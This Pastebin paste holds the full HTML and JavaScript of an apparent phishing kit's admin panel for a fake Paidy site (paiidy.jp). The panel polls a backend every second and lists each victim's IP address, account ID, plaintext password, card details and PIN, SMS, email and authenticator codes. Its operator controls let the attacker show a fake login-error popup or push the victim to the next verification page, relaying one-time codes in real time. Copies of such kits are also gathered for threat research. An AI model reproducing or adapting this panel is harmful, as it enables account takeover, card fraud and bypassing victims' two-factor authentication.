ozuma5119

paiidy.jp/admin/index.html

Feb 27th, 2022
340
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 7.87 KB | None | 0 0
  1. <!DOCTYPE html>
  2. <html lang="zh-cn">
  3. <head>
  4.   <meta charset="utf-8" />
  5.   <link rel="apple-touch-icon" sizes="76x76" href="img/apple-icon.png">
  6.   <link rel="icon" type="image/png" href="img/favicon.png">
  7.   <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
  8.   <title>后台</title>
  9.   <meta content='width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0, shrink-to-fit=no' name='viewport' />
  10.   <link href="css/bootstrap.min.css" rel="stylesheet" />
  11.   <link href="css/paper-dashboard.css?v=2.0.0" rel="stylesheet" />
  12. </head>
  13.  
  14. <body class="">
  15.   <style>
  16.     .main-panel>.content {
  17.       padding: 0 20px 0 20px;
  18.       margin-top: 10px;
  19.     }
  20.     .main-panel {
  21.       width: 100%;
  22.   </style>
  23.   <div class="wrapper ">
  24.     <div class="main-panel">
  25.  
  26.       <div class="content">
  27.  
  28.         <div class="row">
  29.           <div class="col-md-12">
  30.             <div class="card ">
  31.                 <div style="width:90%;float:left;display: inline-block;">
  32.                     <h5 style="float:left;margin-top: 10px;margin-left: 20px;">访问统计: <b id="ipnums" style="color:red;">0</b> IP</h5>
  33.                     <h5 style="float:left;margin-top: 10px;margin-left: 20px;">注册用户: <b id="totals" style="color:red;">0</b></h5>
  34.                 </div>
  35.               <div class="card-body ">
  36.                 <div class="table-responsive">
  37.                 <table class="table" style="border: 0">
  38.                   <thead class="text-danger">
  39.                     <tr>
  40.                         <td style="width: 4%;"><strong>ID</strong></td>
  41.                       <td style="width: 8%;"><strong>IP地址</strong></td>
  42.                       <td style="width: 8%;"><strong>账号id</strong></td>
  43.                       <td style="width: 8%;"><strong>账号密码</strong></td>
  44.                         <td style="width: 6%;"><strong>在线状态</strong></td>
  45.                         <td style="width: 30%;"><strong>卡号信息</strong></td>
  46.                       <td style="width: 30%;"><strong>Verify审核</strong></td>
  47.                       <td style="width: 10%;"><strong>时间</strong></td>
  48.                     </tr>
  49.                   </thead>
  50.                   <tbody id="datalist"> </tbody>
  51.                 </table>
  52.               </div>
  53.               </div>
  54.             </div>
  55.           </div>
  56.         </div>
  57.       </div>
  58.     </div>
  59.   </div>
  60.   <!--   Core JS Files   -->
  61.   <script src="js/core/jquery.min.js"></script>
  62.   <script src="js/core/popper.min.js"></script>
  63.   <script src="js/core/bootstrap.min.js"></script>
  64.   <script>
  65.  
  66.       var timer_ip = null;
  67.     var timer = null;
  68.     var timer_chk = null;
  69.     var total = 3;
  70.     var lastu = '';
  71.     var lastid= 0;
  72.     function _base64(t,w){
  73.       if(w=='e') {
  74.         return btoa(encodeURI(t));
  75.       }else if(w=='d'){
  76.         return decodeURI(atob(t));
  77.       }
  78.     }
  79.     function letitgo(uname) {
  80.       var code = document.getElementById('inp_'+uname).value;
  81.       var sel  = document.getElementById('sel_'+uname).value;
  82.       var name  = _base64(uname,'d');
  83.       $.post('/api.php?act=letitgo&_r='+Math.random(),{uname:name,code:code,sel:sel},function (res) {
  84.        var t = JSON.parse(res);
  85.         if(t.code == 'ok') {
  86.           alert('已确认 -> '+sel);
  87.           window.location.reload();
  88.         }
  89.       });
  90.     }
  91.     function letitgo2(uname) {
  92.       var smscode = document.getElementById('sms_'+uname).value;
  93.       var emcode  = document.getElementById('em_'+uname).value;
  94.       var ggcode = document.getElementById('gg_'+uname).value;
  95.       var pincode = document.getElementById('pin_'+uname).value;
  96.       var sel  = document.getElementById('pinsel_'+uname).value;
  97.       var name  = _base64(uname,'d');
  98.  
  99.       $.post('/api.php?act=letitgo2&_r='+Math.random(),{
  100.        uname:name,
  101.        smscode:smscode,
  102.        emcode:emcode,
  103.        ggcode:ggcode,
  104.        pincode:pincode,
  105.        sel:sel
  106.      },function (res) {
  107.        var t = JSON.parse(res);
  108.         if(t.code == 'ok') {
  109.           alert('已确认 -> '+sel);
  110.           window.location.reload();
  111.         }
  112.       });
  113.     }
  114.     function chkstatus(online) {
  115.         if(online == 'yes'){
  116.             return '<h6 style="color:green">在线</h6>';
  117.         }
  118.         return '<h6 style="color:red">离线</h6>';
  119.     }
  120.     function load_data() {
  121.       $.get('/api.php?act=load_data&lastu='+lastu+'&_r='+Math.random(),function (res) {
  122.        var t = JSON.parse(res);
  123.         var html = '';
  124.         if(t.length>0) {
  125.           for (var i = 0; i < t.length; i++) {
  126.              ++lastid;
  127.            if (i == 0) {
  128.              lastu = _base64(t[0].uname,'e');
  129.            }
  130.  
  131.            // 短信验证码页面:reset-password.php
  132.            // 邮箱验证码页面:verification.php
  133.            // 谷歌验证码页面:googleverify.php
  134.            // PIN验证码页面:pinverify.php
  135.  
  136.            html += '<tr> \
  137.                     <td>' + lastid + '</td> \
  138.                      <td>' + t[i].ip + '</td> \
  139.                      <td>' + t[i].uname + '</td> \
  140.                      <td>' + t[i].upwd + '</td> \
  141.                      <td>' + chkstatus(t[i].online) + '</td> \
  142.                       <td>' + t[i].pincode + '</td> \
  143.                       <td>\
  144.                       <div style="float: left;width: 100%"> <input id="sms_' + _base64(t[i].uname,'e') + '" type="hidden" value="'+(t[i].smscode?t[i].smscode:'')+'" style="width:100%;border: 0px;outline: none"></div>\
  145.                       <div style="float: left;width: 100%">sms验证码<input id="em_' + _base64(t[i].uname,'e') + '" type="text" value="'+(t[i].emcode?t[i].emcode:'')+'" style="width:100%;border: 0px;outline: none"> </div>\
  146.                       <div style="float: left;width: 100%"> <input id="gg_' + _base64(t[i].uname,'e') + '" type="hidden" value="'+(t[i].ggcode?t[i].ggcode:'')+'" style="width:100%;border: 0px;outline: none"></div>\
  147.                       <div style="float: left;width: 100%">  <input id="pin_' + _base64(t[i].uname,'e') + '" type="hidden" value="'+(t[i].pincode?t[i].pincode:'')+'" style="width:100%;border: 0px;outline: none"></div>\
  148.                       <select id="pinsel_' + _base64(t[i].uname,'e') + '"  style="width:140px;">\
  149.                        <option value="alert-error" '+(t[i].pinpause=='alert-error'?'selected':'')+'>前台弹窗:账号或密码错误</option>\
  150.                <option value="pinverify.php" '+(t[i].pinpause=='pinverify.php'?'selected':'')+'>正确</option>\
  151.                        </select>\
  152.                        <button onclick="letitgo2(\'' + _base64(t[i].uname,'e') + '\')">'+ (t[i].pinpause=='true'?'未确定':'已确认')+'</button>\
  153.                      </td> \
  154.                     <td>' + t[i].mktime + '</td> \
  155.                     </tr>';
  156.  
  157.           }
  158.           $('#datalist').prepend(html);
  159.         }
  160.       });
  161.     }
  162.  
  163.     function chk_total() {
  164.       $.get('/api.php?act=chk_total&total='+total+'&_r='+Math.random(),function (res) {
  165.        var t = JSON.parse(res);
  166.         if(t.code == 'ok'){
  167.           total = t.num;
  168.           for(var i=0;i<10;i++) {
  169.            var audio = new Audio("1.mp3");//这里的路径写上mp3文件在项目中的绝对路径
  170.            audio.play();
  171.          }
  172.          // setTimeout("window.location.reload()",15000);
  173.        }
  174.      });
  175.    }
  176.    function get_ipnums() {
  177.        $.get('/api.php?act=get_ipnums&_r=' + Math.random(), function (res) {
  178.            var t = JSON.parse(res);
  179.            if (t.code == 'ok') {
  180.                $('#ipnums').html(t.nums);
  181.                $('#totals').html(t.totals);
  182.            }
  183.        });
  184.    }
  185.    $(document).ready(function() {
  186.      load_data();
  187.        timer_ip = setInterval("get_ipnums()",1000);
  188.        timer = setInterval("load_data()",1000);
  189.        timer_chk = setInterval("chk_total()",500);
  190.      setTimeout("window.location.reload()",10000);
  191.    });
  192.  </script>
  193. </body>
  194.  
  195. </html>
  196. </body>
  197. </html>
  198.  
Add Comment
Please, Sign In to add comment